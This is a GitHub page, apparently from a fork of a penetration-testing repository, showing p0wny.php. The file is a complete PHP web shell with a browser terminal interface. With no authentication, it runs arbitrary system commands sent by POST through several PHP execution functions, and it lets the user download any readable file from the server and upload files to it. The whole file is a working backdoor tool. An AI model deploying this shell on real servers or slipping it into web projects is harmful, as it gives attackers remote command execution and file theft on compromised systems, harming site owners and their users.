forked from ZishanAdThandar/pentest
-
Notifications
You must be signed in to change notification settings - Fork 0
/
p0wny.php
235 lines (216 loc) · 8.26 KB
/
p0wny.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
<?php
$SHELL_CONFIG = [
'username' => 'p0wny',
'hostname' => 'shell',
];
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionsExist($functions) {
foreach ($functions as $func) {
if (!function_exists($func)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd, $output);
return implode("\n", $output);
}
if (function_exists('shell_exec')) {
return shell_exec($cmd);
}
if (allFunctionsExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
if (allFunctionsExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
if (allFunctionsExist(['popen', 'feof', 'fread', 'pclose'])) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
return $output;
}
if (allFunctionsExist(['proc_open', 'stream_get_contents', 'proc_close'])) {
$handle = proc_open($cmd, [1 => ['pipe', 'w']], $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
return $output;
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, "WIN") === 0;
}
function handleCommand($cmd, $cwd) {
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd, $match)) {
chdir($cwd);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match)) {
chdir($cwd);
return downloadFile($match[1]);
} else {
chdir($cwd);
return ['stdout' => base64_encode(executeCommand($cmd)), 'cwd' => base64_encode(getcwd())];
}
}
function downloadFile($filePath) {
$file = @file_get_contents($filePath);
if ($file === false) {
return ['stdout' => base64_encode('File not found / no read permission.'), 'cwd' => base64_encode(getcwd())];
}
return ['name' => base64_encode(basename($filePath)), 'file' => base64_encode($file)];
}
function uploadFile($path, $file, $cwd) {
chdir($cwd);
if (@file_put_contents($path, base64_decode($file)) === false) {
return ['stdout' => base64_encode('Invalid path / no write permission.'), 'cwd' => base64_encode(getcwd())];
}
return ['stdout' => base64_encode('Done.'), 'cwd' => base64_encode(getcwd())];
}
function initShellConfig() {
global $SHELL_CONFIG;
$SHELL_CONFIG['username'] = isRunningWindows() ? getenv('USERNAME') : posix_getpwuid(posix_geteuid())['name'];
$SHELL_CONFIG['hostname'] = gethostname();
}
if (isset($_GET['feature'])) {
switch ($_GET['feature']) {
case 'shell':
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = handleCommand($cmd, $_POST['cwd']);
break;
case 'upload':
$response = uploadFile($_POST['path'], $_POST['file'], $_POST['cwd']);
break;
default:
$response = ['error' => 'Unknown feature'];
}
header('Content-Type: application/json');
echo json_encode($response);
die();
} else {
initShellConfig();
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body { margin: 0; padding: 0; background: #333; color: #eee; font-family: monospace; height: 100vh; }
#shell { background: #222; max-width: 100vw; max-height: 100vh; margin: 25px; padding: 10px; box-shadow: 0 0 5px rgba(0,0,0,0.3); }
#shell-content { white-space: pre-wrap; overflow-y: auto; padding: 5px; }
#shell-input { display: flex; padding-top: 10px; border-top: 1px solid rgba(255,255,255,0.05); }
#shell-prompt { font-weight: bold; color: #75DF0B; }
#shell-cmd { flex: 1; background: transparent; border: none; color: #eee; font-family: monospace; }
*::-webkit-scrollbar { width: 8px; }
*::-webkit-scrollbar-track { background: #353535; }
*::-webkit-scrollbar-thumb { background: #bcbcbc; }
</style>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<input id="shell-cmd" name="cmd" />
</div>
</div>
<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = document.getElementById("shell-cmd");
var eShellContent = document.getElementById("shell-content");
function insertCommand(command) {
eShellContent.innerHTML += `\n\n<span class="shell-prompt">${genPrompt(CWD)}</span> ${command}\n`;
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function insertStdout(stdout) {
eShellContent.innerHTML += stdout;
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function makeRequest(url, params, callback) {
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
callback(JSON.parse(xhr.responseText));
}
};
xhr.send(new URLSearchParams(params).toString());
}
function genPrompt(cwd) {
return `${SHELL_CONFIG.username}@${SHELL_CONFIG.hostname}:${cwd || '~'}#`;
}
function executeShellCommand(command) {
insertCommand(command);
makeRequest("?feature=shell", { cmd: command, cwd: CWD }, function(response) {
if (response.stdout) {
insertStdout(atob(response.stdout));
CWD = atob(response.cwd);
document.getElementById("shell-prompt").innerText = genPrompt(CWD);
}
});
}
document.getElementById("shell-cmd").onkeydown = function(event) {
if (event.key === "Enter") {
executeShellCommand(eShellCmdInput.value);
commandHistory.push(eShellCmdInput.value);
eShellCmdInput.value = "";
historyPosition = commandHistory.length;
} else if (event.key === "ArrowUp") {
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.value = commandHistory[historyPosition];
}
} else if (event.key === "ArrowDown") {
if (historyPosition < commandHistory.length) {
historyPosition++;
eShellCmdInput.value = commandHistory[historyPosition] || '';
}
}
};
window.onload = function() {
document.getElementById("shell-cmd").focus();
document.getElementById("shell-prompt").innerText = genPrompt(CWD);
};
</script>
</body>
</html>